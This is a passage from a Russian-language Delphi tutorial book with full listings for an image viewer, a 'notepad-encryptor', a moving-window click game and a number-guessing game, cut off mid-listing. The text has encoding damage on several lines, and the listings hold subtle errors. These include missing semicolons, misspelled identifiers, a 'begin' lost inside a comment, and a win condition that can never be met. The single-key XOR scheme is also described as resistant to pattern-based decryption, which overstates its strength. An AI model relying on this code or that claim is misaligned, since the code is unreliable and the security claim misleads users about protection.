⊚ Р’СЃРµ файлы проекта Рё исполняемый файл рассмотренной программы находятся РЅР° прилагаемом Рє РєРЅРёРіРµ компакт-РґРёСЃРєРµ РІ папке Chapter05.

 

Постановка задачи

Разработать программу для просмотра рисунков. Программа должна отображать рисунок, загруженный с помощью стандартного диалогового окна обзора. Кроме того, любой рисунок должен быть связан с данной программой и открываться ею по двойному щелчку мышью или нажатию клавиши в Проводнике или любом другом файл-менеджере.

 

Разработка формы

Создайте новый проект Delphi. Разместите на форме компонент Image категории Additional, который будет служить для отображения рисунка. Для того чтобы при любых размерах окна рисунок всегда заполнял всю форму, следует изменить значение свойства Align на alClient.

Для вызова диалоговых окон открытия и сохранения рисунка воспользуемся компонентами OpenDialog и SaveDialog категории Dialogs. Присвоим свойству Name этих компонентов значения Open1 и Save1 соответственно. Для обоих компонентов присвойте свойству Filter значение Все файлы|*.*.

Для доступа к функциям программы будем использовать команды меню. Разместите на форме компонент MainMenu категории Standard. Для того чтобы создать пункты меню, следует дважды щелкнуть мышью на компоненте MainMenu1, в результате чего откроется редактор меню, изображенный на рис. 6.1.

Для того чтобы добавить новый пункт, следует щелкнуть мышью в этом окне на пустом элементе меню и изменить в инспекторе объектов значение свойства Caption. Вначале создаются пункты меню, а затем аналогичным образом — подпункты (команды). Для создания разделителей свойству Caption следует присвоить значение - (дефис).

Рис. 6.1. Редактор меню

Создайте меню, соответствующее рис. 6.2.

Рис. 6.2. Меню для программы просмотра рисунков

Вид готовой формы представлен на рис. 6.3.

Рис. 6.3. Форма программы просмотра рисунков

 

Разработка программного кода

Теперь создадим обработчики события OnClick для пунктов меню. Для команды Файл→Открыть:

procedure TForm1.N2Click(Sender: TObject);

begin

 //начинаем обзор с текущей папки

В Open1.InitialDir:= GetCurrentDir ;

 //открываем диалоговое окно выбора файла

В  if Open1.Execute then begin

  //загружаем выбранный рисунок

В В  Image1.Picture.LoadFromFile(Open1.FileName);

  Image1.Show ; //отображаем рисунок на форме

В  end

 else //Если рисунок не был выбран

  ShowMessage('Вы не выбрали рисунок!');

В Image1.Show;

end;

Здесь мы просто открываем диалоговое окно выбора рисунка, и, если пользователь выбрал рисунок, то загружаем его в компонент Image1 и отображаем на форме.

Обработчик события OnClick для пункта меню Файл→Сохранить:

procedure TForm1.N3Click(Sender: TObject);

begin

 if Save1.Execute then //сохранение рисунка

В В  Image1.Picture.SaveToFile(Save1.FileName)

 else ShowMessage('Рисунок не был сохранен! ');

end;

Здесь мы открываем диалоговое окно сохранения рисунка, и, если пользователь выбрал место сохранения файла, извлекаем этот путь (свойство Save1.FileName) и сохраняем отображаемый в данный момент рисунок.

Обработчик события OnClick для пункта меню Файл→Выход:

procedure TForm1.N5Click(Sender: TObject);

begin

 Halt; //завершение работы программы

end;

Обработчик события OnClick для пункта меню Правка→Очистить:

procedure TForm1.N7Click(Sender: TObject);

begin

 Image1.Hide; //прячем рисунок

end;

Единственное, чего не достает этой программе, — это возможность открывать с ее помощью рисунки в файл-менеджерах. Реализуем эту возможность, добавив следующий код в обработчик события OnCreate главной фoрмы.

procedure TForm1.FormCreate(Sender: TObject);

var

 Str:String; //путь к файлу, который поступил как параметр

В i:Integer;

begin

В if (ParamCount > 0)

 then //если на вход программы поступил параметр

В begin

  //составляем путь к файлу по символам

В  Str:= ParamStr(1);

В  for i:= 2 to ParamCount doВ Str:= Str + ' ' + ParamStr(i);

  Image1.Picture.LoadFromFile(str); //загружаем рисунок

  Image1.Show; //показываем рисунок

В end;

end;

При создании формы выполняется проверка: запускается ли программа с параметрами. Если на вход поступили параметры, то определяем путь к рисунку и отображаем его на форме. Программа просмотра рисунков в действии представлена на рис. 6.4.

Рис. 6.4. Программа просмотра рисунков в действии

 

Полный исходный код модуля

Полный исходный код модуля программы просмотра рисунков представлен в листинге 6.1.

Листинг 6.1. Модуль программы просмотра рисунков

unit Unit1;

interface

uses

В Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, Menus, ExtCtrls;

type TForm1 = class(TForm)

В Image1: TImage;

В MainMenu1: TMainMenu;

В N1: TMenuItem;

В N2: TMenuItem;

В N3: TMenuItem;

В N4: TMenuItem;

В N5: TMenuItem;

В N6: TMenuItem;

В N7: TMenuItem;

В Open1: TOpenDialog;

В Save1: TSaveDialog;

В procedure FormCreate(Sender: TObject);

В procedure N2Click(Sender: TObject);

В procedure N3Click(Sender: TObject);

В procedure N5Click(Sender: TObject);

В procedure N7Click(Sender: TObject);

private

В { Private declarations }

public

В { Public declarations }

end;

var

В Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);

var

 Str: String; //путь к файлу, который поступил как параметр

В i:Integer;

begin

В if (ParamCount > 0)

 then //если на вход программы поступил параметр

В begin

  //составляем путь к файлу по символам

В В Str:= ParamStr(1) ;

В В for i:=2 to ParamCount doВ Str:= Str + ' ' + ParamStr(i);

  Image1.Picture.LoadFromFile(str); //загружаем рисунок

  Image1.Show; //показываем рисунок

В end;

end;

procedure TForm1.N2Click (Sender: TObject);

begin

 //начинаем обзор с текущей папки

В Open1.InitialDir:= GetCurrentDir;

 //открываем диалоговое окно выбора файла

В if Open1.Execute then begin

  //загружаем выбранный рисунок

В  Image1.Picture.LoadFromFile(Open1.FileName);

  Image1.Show; //показываем рисунок на форме

В end

 else //Если рисунок не был выбран

  ShowMessage('Вы не выбрали рисунок!');

В Image1.Show;

end;

procedure TForm1.N3Click(Sender: TObject);

begin

 if Save1.Execute then //сохранение рисунка

В В Image1.Picture.SaveToFile(Save1.FileName)

 else ShowMessage('Рисунок не был сохранен!');

end;

procedure TForm1.N5Click(Sender: TObject);

begin

 Halt; //выход из программы

end;

procedure TForm1.N7Click(Sender: TObject);

begin

 Image1.Hide; //прячем рисунок

end;

end.

⊚ Р’СЃРµ файлы проекта Рё исполняемый файл рассмотренной программы находятся РЅР° прилагаемом Рє РєРЅРёРіРµ компакт-РґРёСЃРєРµ РІ папке Chapter_06.

 

Постановка задачи

Разработать программу, повторяющую функции стандартного блокнота с дополнительной возможностью шифрования и дешифрования данных.

 

Разработка формы

Создадим новый проект Delphi. Интерфейс программы сделаем похожим на интерфейс стандартного блокнота. Разместите на форме компонент Memo (многострочное текстовое поле) категории Standard. Для того чтобы при любых размерах окна этот компонент заполнял всю форму, измените значение свойства Memo1.Align на alClient. Для текстового поля должна отображаться только вертикальная полоса прокрутки (то есть, будет выполняться автоматический перенос слов на новую строку). Для этого следует изменить значение свойства ScrollBars на ssVertical.

Разместите на форме компонент MainMenu категории Standard и создайте меню, представленное на рис. 7.1.

Рис. 7.1. Меню программы Блокнот-шифровальщик

⇖ Разработка меню рассматривается РІ предыдущей главе.

Для пункта меню Формат→Перенос РїРѕ словам следует установить свойство Checked равным True, поскольку этот РїСѓРЅРєС‚ меню будет выполнять роль переключателя.

Для вызова диалогового окна открытия файла будем использовать компонент OpenDialog категории Dialogs, а для сохранения файла — компонент SaveDialog той же категории. Для обоих компонентов измените значение свойства Filter на Блокнот|*.txt|Все файлы|*.*. Также разместите на форме еще один компонент категории Dialogs: FontDialog. Он будет служить для изменения шрифта.

Больше ничего добавлять на форму не нужно, и результат оформления должен соответствовать рис. 7.2.

Рис. 7.2. Форма блокнота-шифровальщика

 

Разработка программного кода

Шифровать текст будем с помощью функции xor или обычного смещения. Для того чтобы зашифрованные тексты нельзя было расшифровывать по шаблону, будем предлагать пользователю самому выбирать число xor, на которое надо смещать символ.

Прежде всего объявите глобальную переменную xr_num типа string :

var

В Form1: TForm1;

В xr_num: string;

Теперь займемся командами меню. Обработчик события OnClick для пункта Файл→Открыть:

procedure TForm1.N1Click(Sender: TObject);

begin

 //начинаем обзор с текущей папки

В OpenDialog1.InitialDir:= GetCurrentDir;

В if not OpenDialog1.Execute then ShowMessage('File not selected!')

 else //загружаем выбранный файл в Memo

В  Memo1.Lines.LoadFromFile(OpenDialog1.FileName) ;

end;

Здесь мы открываем стандартное диалоговое окно обзора и просим пользователя выбрать текстовый или любой другой файл. После того как пользователь выбрал файл, загружаем его в нашу программу.

Обработчик события OnClick для пункта Файл→Сохранить:

procedure TForm1.N2Click(Sender: TObject);

begin

В SaveDialog1 . InitialDir := GetCurrentDir;

В if not SaveDialog1.Execute then ShowMessage('File not saved!')

 else //сохраняем в файл

В  Memo1.Lines.SaveToFile(SaveDialog1.FileName);

end;

Открываем диалоговое окно сохранения файла. После того как пользователь выбрал место сохранения файла, извлекаем текст из Memo и сохраняем его в выбранной папке.

Обработчик события OnClick для пункта Файл→Выход:

procedure TForm1.N4Click(Sender: TObject);

begin

 Close; //закрыть программу

end;

Обработчик события OnClick для пункта Правка→Число XOR:

procedure TForm1.XoR1Click(Sender: TObject);

begin

 if not InputQuery('XOR', 'Введите число xor:', xr_num)

В then Exit;

end;

Здесь мы отображает окно для выбора числа xor. Указанное пользователем число будет занесено в переменную xr_num.

Обработчик события OnClick для пункта Правка→Зашифровать/Расшифровать:

procedure TForm1.N5Click (Sender: TObject);

var

 xr: string; //зашифрованный текст

 i: integer; //счетчик цикла begin

В for i:=1 to Length(Memo1.Text) do

 begin //перебираем каждый символ в тексте

  //выполняем указанное пользователем смещение

В  xr:= xr + Chr(Ord(Memo1.Text[i]) xor StrToInt(xr_num));

В end;

 //заменяем оригинальный текст на зашифрованный

В Memo1.Text := xr;

end;

По этой команде меню выполняется шифрование текста, который сейчас находится в поле Memo. В цикле перебираются все символы, и каждый из них шифруется отдельно.

Обработчик события OnClick для пункта Правка→Очистить:

procedure TForm1.N8Click(Sender: TObject);

begin

 Memo1.lines.Clear; //очистка Memo

end;

Очищаем поле Memo от содержащегося в нем текста.

Обработчик события OnClick для пункта Формат→Перенос РїРѕ словам:

procedure TForm1.N9Click(Sender: TObject);

begin

 if N9.Checked then //если флажок установлен

В  begin

  N9.Checked:= False; //сбрасываем флажок

  //Отображаем горизонтальную полосу прокрутки

В  Memo1.ScrollBars:= ssBoth;

В end

 else begin //если флажок не установлен

  N9.Checked:= True; //устанавливаем флажок

  //убираем горизонтальную полосу прокрутки

В В  Memo1.ScrollBars:= ssVertical;

В  end;

end;

РџРѕ этой команде меню РјС‹ проверяем, какое состояние сейчас Сѓ пункта Формат→Перенос РїРѕ словам. Если флажок установлен, то РјС‹ сбрасываем его Рё отображаем горизонтальную полосу прокрутки. Р’ противном случае, устанавливаем флажок Рё убираем горизонтальную полосу прокрутки.

Обработчик события OnClick для пункта Формат→Шрифт:

procedure TForm1.N10Click(Sender: TObject);

begin

 //Определяем все настройки шрифта и отображаем их

 //в диалоговом окне

 FontDialog1.Font.Color:= Memo1.Font.Color; //цвет шрифта

 FontDialog1.Font.Style:= Memo1.Font.Style; //стиль

 FontDialog1.Font.Size:= Memo1.Font.Size; //размер

В FontDialog1.Font.Charset:= Memo1.Font.Charset; //РєРѕРґРёСЂРѕРІРєР°

 FontDialog1.Font.Name:= Memo1.Font.Name; //название шрифта

В if FontDialog1.Execute then

 begin // применяем все выбранные настройки

В В Memo1.Font.Color:= FontDialog1.Font.Color;

В В Memo1.Font.Style:= FontDialog1.Font.Style;

В В Memo1.Font.Size:= FontDialog1.Font.Size;

В В Memo1.Font.Charset:= FontDialog1.Font.Charset;

В В Memo1.Font.Name:= FontDialog1.Font.Name;

В end;

end;

Перед тем как открыть диалоговое окно выбора шрифта, мы определяем все текущие настройки шрифта, чтобы затем отобразить их в диалоговом окне. После того как пользователь нажал в этом окне кнопку OK, все выбранные настройки шрифта применяются к полю Memo.

Теперь осталось только реализовать автоматическую загрузку файлов, связанных с нашим блокнотом в файл-менеджерах. Для этого создадим обработчик события OnCreate главной формы:

procedure TForm1.FormCreate(Sender: TObject);

var

 Str: String; //путь к параметру

В i: Integer;

begin

 xr_num:= '2'; //по умолчанию смещение = 2

В if (ParamCount > 0) thenВ begin

  Str:= ParamStr(1); //Формируем путь к аргументу

В  for i:=2 to ParamCount do Str:= Str + ' ' + ParamStr(i);

В end;

 {Если на вход программы поступили параметры, то отображаем содержимое соответствующего файла в поле Memo}

В if Str <> '' then Memo1.Lines.LoadFromFile(str);

end;

Здесь мы задаем начальное значение для смещения и проверяем, поступили ли на вход программы какие-либо параметры. Если да, то узнаем путь к файлу и отображаем его содержимое в поле Memo. Пример шифрования со смещением 10 представлен на рис. 7.3.

Рис. 7.3. Пример шифрования со смещением 10

 

Полный исходный код модуля

Полный исходный код модуля программы Блокнот-шифровальщик представлен в листинге 7.1.

Листинг 7.1. Модуль программы Блокнот-шифровальщик

unit Unit1

interface

uses

В Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls Forms, Dialogs, StdCtrls, Menus;

type TForm1 = class(TForm)

В Memo1: TMemo;

В menu1: TMainMenu;

В File1: TMenuItem;

В Edit1: TMenuItem;

В N1: TMenuItem;

В N2: TMenuItem;

В N3: TMenuItem;

В N4: TMenuItem;

В N5: TMenuItem;

В N7: TMenuItem;

В N8: TMenuItem;

В OpenDialog1: TOpenDialog;

В SaveDialog1: TSaveDialog;

В FontDialog1: TFontDialog;

В N6: TMenuItem;

В N9: TMenuItem;

В N10: TMenuItem;

В XoR1: TMenuItem;

В procedure N1Click(Sender: TObject);

В procedure N2Click(Sender: TObject)

В procedure N4Click(Sender: TObject)

В procedure N8Click(Sender: TObject)

В procedure N5Click(Sender: TObject)

В procedure N9Click(Sender: TObject);

В procedure N10Click(Sender: TObject);

В procedure FormCreate(Sender: TObject);

В procedure XoR1Click(Sender: TObject);

private

В { Private declarations }

public

В {В Public declarations }

end;

var

В Form1: TForm1;

В xr_num: string;

implementation

{$R *.dfm}

procedure TForm1.N1Click(Sender: TObject);

begin

 //начинаем обзор с текущей папки

В OpenDialog1.InitialDir:= GetCurrentDir;

В if not OpenDialog1.Execute then ShowMessage('File not selected!')

 else //загружаем выбранный файл в Memo

В  Memo1.Lines.LoadFromFile(OpenDialog1.FileName);

end;

procedure TForm1.N2Click(Sender: TObject);

begin

В SaveDialog1.InitialDir:= GetCurrentDir;

В if not SaveDialog1.Execute then ShowMessage('File not saved!')

 else //сохраняем в файл

В  Memo1.Lines.SaveToFile(SaveDialog1.FileName);

end;

procedure TForm1.N4Click(Sender: TObject);

begin

 Close; //выход из программы

end;

procedure TForm1.N8Click(Sender: TObject);

begin

 Memo1.lines.Clear; //очистка Memo

end;

procedure TForm1.N5Click (Sender: TObject);

var

 xr: string; //зашифрованный текст

 i: integer; //счетчик цикла begin

В for i:=1 to Length(Memo1.Text) do

 begin //перебираем каждый символ в тексте

  //выполняем указанное пользователем смещение

В  xr:= xr + Chr(Ord(Memo1.Text[i]) xor StrToInt(xr_num));

В end;

 //заменяем оригинальный текст на зашифрованный

В Memo1.Text := xr;

end;

procedure TForm1.N9Click(Sender: TObject);

begin

 if N9.Checked then //если флажок установлен

В begin

  N9.Checked:= False; //сбрасываем флажок

  //Отображаем горизонтальную полосу прокрутки

В  Memo1.ScrollBars:= ssBoth;

В end

 else begin //если флажок не установлен

  N9.Checked:= True; //устанавливаем флажок

  //убираем горизонтальную полосу прокрутки

В В Memo1.ScrollBars:= ssVertical;

В  end;

end;

procedure TForm1.N10Click(Sender: TObject);

begin

 //Определяем все настройки шрифта и отображаем их

 //в диалоговом окне

 FontDialog1.Font.Color:= Memo1.Font.Color; //цвет шрифта

 FontDialog1.Font.Style:= Memo1.Font.Style; //стиль

 FontDialog1.Font.Size:= Memo1.Font.Size; //размер

В FontDialog1.Font.Charset:= Memo1.Font.Charset; //РєРѕРґРёСЂРѕРІРєР°

 FontDialog1.Font.Name:= Memo1.Font.Name; //название шрифта

В if FontDialog1.Execute then

 begin // применяем все выбранные настройки

В В Memo1.Font.Color:= FontDialog1.Font.Color;

В В Memo1.Font.Style:= FontDialog1.Font.Style;

В В Memo1.Font.Size:= FontDialog1.Font.Size;

В В Memo1.Font.Charset:= FontDialog1.Font.Charset;

В В Memo1.Font.Name:= FontDialog1.Font.Name;

В end;

end;

procedure TForm1.FormCreate(Sender: TObject);

var

 Str: String; //путь к параметру

В i: Integer;

begin

 xr_num := '2'; //по умолчанию смещение = 2

В if (ParamCount > 0) thenВ begin

  Str:= ParamStr(1); //Формируем путь к аргументу

В  for i:=2 to ParamCount do Str:= Str + ' ' + ParamStr(i);

В end;

 {Если на вход программы поступили параметры, то отображаем содержимое соответствующего файла в поле Memo}

В if Str <> '' then Memo1.Lines.LoadFromFile(str);

end;

end.

⊚ Р’СЃРµ файлы проекта Рё исполняемый файл рассмотренной программы находятся РЅР° прилагаемом Рє РєРЅРёРіРµ компакт-РґРёСЃРєРµ РІ папке Chapter_07.

 

Постановка задачи

По всему экрану мелькает форма, и цель игры — успеть щелкнуть мышью на появившемся окне. Для победы необходимо "попасть" по окну десять раз. Следует учитывать, что при каждом "попадании" скорость перемещения окна увеличивается.

 

Разработка формы

Создадим новый проект Delphi. Мелькающее окно у нас будет необычным: оно будет без заголовка и не прямоугольным, а эллиптической формы. Измените свойства формы согласно табл. 8.1.

Таблица 8.1. Свойства формы игры "Успей щелкнуть"

Разместите на форме компонент Label категории Standard. Измените его свойства согласно табл. 8.2.

Таблица 8.2. Свойства первого компонента Label

Разместите на форме еще один компонент Label и измените его свойства согласно табл. 8.3.

Таблица 8.3. Свойства второго компонента Label

Разместите на форме третий компонент Label, который будет отображать предельное число "попаданий", и измените его свойства согласно табл. 8.4.

Таблица 8.4. Свойства третьего компонента Label

Напоследок разместите на форме компонент Timer категории System. Результат оформления формы должен соответствовать рис. 8.1.

Рис. 8.1. Форма для игры "Успей щелкнуть"

 

Разработка программного кода

Изменение формы окна на эллиптическую реализуется в обработчике события OnCreate формы. Для этого необходимо объявить глобальную переменную forma типа HRGN, которая будет содержать размеры окна:

var

В Form1: TForm1;

В forma: HRGN;

В обработчик события OnCreate добавьте следующий код:

procedure TForm1.FormCreate(Sender: TObject)

begin

 Randomize; //включаем генератор случайных чисел

В forma:= CreateEllipticRgn(0, 0, Form1.Width, Form1.Height) ; //РІРёРґ РѕРєРЅР°

 //применяем новый вид окна

В SetWindowRgn(Handle, forma, True);

end;

Здесь мы задаем окно в виде эллипса и применяем новый вид окна.

Каждую секунду форма должна случайным образом менять свои координаты в пределах экрана. Это будет реализовано в обработчике события Timer1.OnTimer:

procedure TForm1.Timer1Timer(Sender: TObject);

begin

 Form1.Top:= Random(Screen.Height) + 1 ; //случайная высота

  Form1.Left:= Random(Screen.Width) + 1; //случайная ширина

end;

Здесь мы определяем высоту и ширину экрана, выбираем случайные координаты, не выходящее за пределы экрана, и перемещаем в них окно программы.

Теперь выделите все компоненты и саму форму и создайте для них общий обработчик события OnMouseDown:

procedure TForm1.popadMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

 if StrToInt(popad.Caption) < 10 then begin //если попаданий меньше 10

  //Перемещаем окно в случайную позицию по вертикали

В В Form1.Top:= Random(Screen.Height) + 1;

  //Изменяем положение по горизонтали

В В Form1.Left:= Random(Screen.Width) + 1;

  //Увеличиваем счетчик "попаданий" на единицу

В В popad.Caption:= IntToStr(StrToInt(popad.Caption) + 1);

  //Увеличиваем скорость перемещения окна на 100 мс

  Timer1.Interval:= Timer1.Interval – 100;

В end;

 if popad.Caption = '0' then begin //если игрок попал 10 раз

  Timer1.Enabled:= False; //останавливаем игру

  Form1.Position:= poDesktopCenter; //окно – в центр экрана

  //сообщаем о победе

  ShowMessage('Вы попали по окну 10 раз!');

  if Application.MessageBox('Игра', 'Играть еще раз?', mb_yesno + mbtaskmodal + mb_iconQuestion) = idYes

  then {предлагаем сыграть еще раз}

В В begin

   popad.Caption:= '0'; //сброс результатов

   //Придаем окну эллиптическую форму

В  В forma:= CreateEllipticRgn(0, 0, Form1.Width, Form1.Height);

В  В SetWindowRgn(Handle, forma, True);

   //Устанавливаем начальную скорость перемещения окна

В  В Timer1.Interval:= 1000;

   Timer1.Enabled:= True; //начинаем игру

В  end

  else Halt; //выход из игры

В end;

end;

При каждом "попадании" выполняется проверка: было ли это "попадание" последним. Если да, то просто пополняем счетчик попаданий и увеличиваем скорость перемещения формы на 100 мс. Если игрок сделал последнее "попадание", то останавливаем игру, выводим окно в центр экрана и показываем сообщение о том, что игра успешно окончена. После этого отображаем окно с вопросом: следует ли начинать игру заново. Если пользователь отказывается играть, то просто выходим из программы. Если пользователь хочет сыграть сначала, то обнуляем все результаты и начинаем игру заново.

Окно программы в процессе игры представлено на рис. 8.2.

Рис. 8.2. Игра "Успей щелкнуть" в действии

 

Полный исходный код модуля

Полный исходный код программного модуля игры "Успей щелкнуть" представлен в листинге 8.1.

Листинг 8.1. Программный модуль игры "Успей щелкнуть"

unit Unit1;

interface

uses

В Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls;

type TForm1 = class(TForm)

В Label2: TLabel;

В popad: TLabel;

В Label3: TLabel;

В Timer1: TTimer;

В procedure FormCreate(Sender: TObject);

В procedure Timer1Timer(Sender: TObject);

В procedure popadMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

private

В { Private declarations }

public

В { Public declarations }

end;

var

В Form1: TForm1;

В forma: HRGN;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject)

begin

 Randomize;//включаем генератор случайных чисел

В forma:= CreateEllipticRgn(0, 0, Form1.Width, Form1.Height); //РІРёРґ РѕРєРЅР°

 //применяем новый вид окна

В SetWindowRgn(Handle, forma, True);

end;

procedure TForm1.Timer1Timer(Sender: TObject);

begin

 Form1.Top:= Random(Screen.Height) + 1; //случайная высота

 Form1.Left:= Random(Screen.Width) + 1; //случайная ширина

end;

procedure TForm1.popadMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

 if StrToInt(popad.Caption) < 10 then begin //если попаданий меньше 10

  //Перемещаем окно в случайную позицию по вертикали

В В Form1.Top:= Random(Screen.Height) + 1;

  //Изменяем положение по горизонтали

В В Form1.Left:= Random(Screen.Width) + 1;

  //Увеличиваем счетчик "попаданий" на единицу

В В popad.Caption:= IntToStr(StrToInt(popad.Caption) + 1);

  //Увеличиваем скорость перемещения окна на 100 мс

  Timer1.Interval:= Timer1.Interval – 100;

В end;

 if popad.Caption = '0' then begin //если игрок попал 10 раз

  Timer1.Enabled:= False; //останавливаем игру

  Form1.Position:= poDesktopCenter; //окно – в центр экрана

  //сообщаем о победе

  ShowMessage('Вы попали по окну 10 раз!');

  if Application.MessageBox('Игра', 'Играть еще раз?', mb_yesno + mbtaskmodal + mb_iconQuestion) = idYes

  then {предлагаем сыграть еще раз}

В В begin

   popad.Caption:= '0'; //сброс результатов

   //Придаем окну эллиптическую форму

В  В forma:= CreateEllipticRgn(0, 0, Form1.Width, Form1.Height);

В  В SetWindowRgn(Handle, forma, True);

   //Устанавливаем начальную скорость перемещения окна

В  В Timer1.Interval:= 1000;

   Timer1.Enabled:= True; //начинаем игру

В  end

  else Halt; //выход из игры

В end;

end;

end.

⊚ Р’СЃРµ файлы проекта Рё исполняемый файл рассмотренной программы находятся РЅР° прилагаемом Рє РєРЅРёРіРµ компакт-РґРёСЃРєРµ РІ папке Chapter_08.

 

Постановка задачи

Разработать игру, цель которой заключается в угадывании случайного числа из заданного диапазона чисел. Дать возможность играть с соперником или против компьютера.

 

Разработка формы

Создайте новый проект Delphi и присвойте свойству Caption (заголовок) формы значение Игра. Угадывание чисел. Вверху формы будут расположены элементы управления для настройки диапазона угадываемых чисел. Разместим на форме три компонента Label (метки) категории Standard и два компонента Edit (поле ввода) той же категории. Изменим их свойства согласно табл. 9.1.

Таблица 9.1. Свойства компонентов для настройки диапазона угадываемых чисел

Разместите на форме под этими компонентами еще один компонент Label, назовите его pl1 (свойство Name), а свойству Caption присвойте значение Первый игрок:. Справа от метки pl1 разместите компонент Edit, свойству Name которого присвойте значение ch1, а свойству Text — значение 0. Справа от поля ch1 разместите еще один компонент Label. Присвойте ему имя znak1 и очистите свойство Caption.

Под компонентами pl1, ch1 и znak1 разместите аналогичные компоненты для второго игрока, присвоив им имена рl2, ch2 и znak2 соответственно. Свойству рl2.Caption присвойте значение Второй игрок:, свойству ch2.Text — значение 0, а свойство znak2.Caption очистите. Поскольку по умолчанию игру будет начинать первый игрок, мы должны заблокировать ввод для второго игрока. Для этого измените значение свойства Enabled для компонентов ch2 и р12 на False.

Разместите на форме справа от компонентов znak1 и znak2 еще один компонент Label и измените его свойства согласно табл. 9.2.

Таблица 9.2. Свойства нового компонента Label

Ниже всех компонентов разместите компонент Checkbox (флажок) категории Standard. Присвойте его свойству Name значение comp, a свойству Caption — значение Играть против компьютера (проследите также, чтобы свойство Checked было равно False).

Ниже разместите две кнопки (компонент Button категории Standard), присвоив их свойству Caption значения Принять вариант и Новая игра. Полученная форма должна соответствовать рис. 9.1.

Рис. 9.1. Форма для игры "Угадывание чисел"

 

Разработка программного кода

Прежде всего, объявим переменные, которые будем использовать на протяжении всей программы:

var

В Form1: TForm1;

В num, j, i, kolvo, big, small: integer;

 maximum, minimum: array [1..100] of integer; {массивы максимальных и минимальных чисел}

Переменная num соответствует случайно заданное число, переменной kolvo — количество попыток, за которые число было отгадано, переменной big — наибольшее число из названных, а переменной small — наименьшее число из названных.

Теперь напишем две процедуры, которые в случае игры против компьютера будут определять границы нахождения числа. Процедура min будет определять нижнюю границу, а процедура max — верхнюю.

Объявим эти процедуры как закрытые члены класса формы:

type

В TForm1 = class(TForm)

 …

private

В { Private declarations }

В procedure min();

В procedure max();

public

В { Public declarations }

end;

После этого создадим сами процедуры в разделе implementation:

//процедура нахождения наименьшего числа

procedure TForm1.min ();

begin

В for i:=1 to kolvo do begin

В В for j:=1 to kolvo do begin

   {Если число меньше наименьшего, то оно становится наименьшим}

В В  if minimum[j] > small then small:= minimum[j];

В В end;

В  end;

end;

//процедура нахождения наибольшего числа

procedure TForm1.max();

var temp: integer;

begin

В temp:= StrToInt(finish.Text) ;

В for i:=1 to kolvo do begin

В В for j:=1 to kolvo do begin

В В  if temp > maximum[j] then

    if maximum[j] > 0 then temp:= maximum[j]; {если число больше наибольшего…}

В  end;

В end;

В if ( (temp<>0) and (temp<>StrTolnt(finish.Text) ) ) then

  {… и если число входит в допустимый диапазон, то оно становится наибольшим}

В  big := temp;

end;

Рассмотрим процедуру, которая будет выполняться при создании формы:

procedure TForm1.FormCreate(Sender: TObject);

begin

 Randomize; //включаем генератор случайных чисел

 //загадываем случайное число из заданного диапазона

 num:= Random(StrToInt(finish.Text) – StrToInt(start.Text)) + StrToInt(start.Text);

 kolvo:= 0; //обнуляем количество попыток

 big:= StrToInt(finish.Text); //самое большое число

 small:= StrToInt(start.Text); //самое маленькое число

end;

Сначала мы включаем генератор случайных чисел, затем выбираем случайное число из заданного диапазона, и в конце устанавливаем для компьютера диапазон в пределах от наименьшего до наибольшего числа. В дальнейшем мы будем постепенно сужать этот диапазон.

Самое главное событие — нажатие кнопки Принять вариант. Создадим для этого кнопки обработчик события OnClick:

procedure TForm1.Button2Click(Sender: TObject);

begin

 //увеличиваем количество попыток на единицу

В kolvo:= kolvo + 1;

 if not comp.Checked then //если идет игра с человеком

В begin

  if pl1.Enabled then begin //если ход первого игрока

  //если вариант больше загаданного числа, ставим знак >

В В if StrToInt(ch1.Text) > num then znak1.Caption:= '>';

  //если вариант меньше загаданного числа, ставим знак <

В В if StrToInt(ch1.Text) < num then znak1.Caption:= '<';

  if StrToInt(ch1.Text) = num then //если число угадано

В В begin

   znak1.Caption:= '='; //изменим знак на "="

   //вместо знака "X" показываем загаданное число

В  В С….Caption:= IntToStr(num);

   //выводим сообщение о победе первого игрока

   ShowMessage('Победил первый игрок!' + #13#10 + 'Число угадано за ' + IntToStr(kolvo) + ' попытки')

В  end;

  //передаем ход второму игроку

В  pl1.Enabled:= False;

В  ch1.Enabled:= False;

В  ch2.Enabled:= True;

В  pl2.Enabled:= True;

  Exit; //прерываем выполнение процедуры

В end;

 if pl2.Enabled then begin //если ход второго игрока

  {сравниваем загаданное число с вариантом второго игрока и ставим соответствующий знак}

В  if StrToInt(ch2.Text) > num then znak2.Caption:= '>';

В  if StrToInt(ch2.Text) < num then znak2.Caption := '<';

В В  if StrToInt(ch2.Text) = num then begin

В В В  znak2.Caption := '=';

В В В  x.Caption:= IntToStr(num);

    ShowMessage('Победил второй игрок!' + #13#10 + 'Число угадано за ' + IntToStr(kolvo) + ' попытки')

В В  end;

В  end;

  //передаем ход первому игроку

В В СЂl2.Enabled:= False;

В В ch2.Enabled:= False;

В В ch1.Enabled:= True;

В В pl1.Enabled:= True;

В  Exit;

В end;

 if comp.Checked then begin //если игра против компьютера

  {проверяем вариант первого игрока и ставим соответствующий знак}

В  if StrToInt(ch1.Text) > num then znak1.Caption:= '>';

В  if StrToInt(ch1.Text) < num then znak1.Caption:= '<';

В  if StrToInt(ch1.Text) = num then begin

В В  znak1.Caption:= '=';

В В  x.Caption:= IntToStr(num);

   ShowMessage('Вы победили!' + #13#10 + 'Число угадано за ' + IntToStr(kolvo) + ' попытки');

В В  Exit;

В  end;

  //если вариант первого игрока больше загаданного числа

В  if znak1.Caption = '>' then begin

   maximum[kolvo]:= StrToInt(ch1.Text); {добавляем в массив наибольших чисел вариант первого игрока}

В В  max();

   //ищем наибольшее число

В  end;

  //если вариант первого игрока меньше загаданного числа

В  if znak1.Caption = '<' then begin

   minimum[kolvo]:= StrToInt(ch1.Text); {добавляем число в массив наименьших чисел, выданных первым игроком}

   min(); //ищем наименьшее число

В В  end;

   //после всех расчетов, компьютер выдает свой вариант

   ch2.Text:= IntToStr(Random(big– small)+ small);

В  end;

  //проверяем вариант компьютера и ставим соответствующий знак

В  if StrToInt(ch2.Text) > num then znak2.Caption:= '>';

В  if StrToInt(ch2.Text) < num then znak2.Caption:= '<';

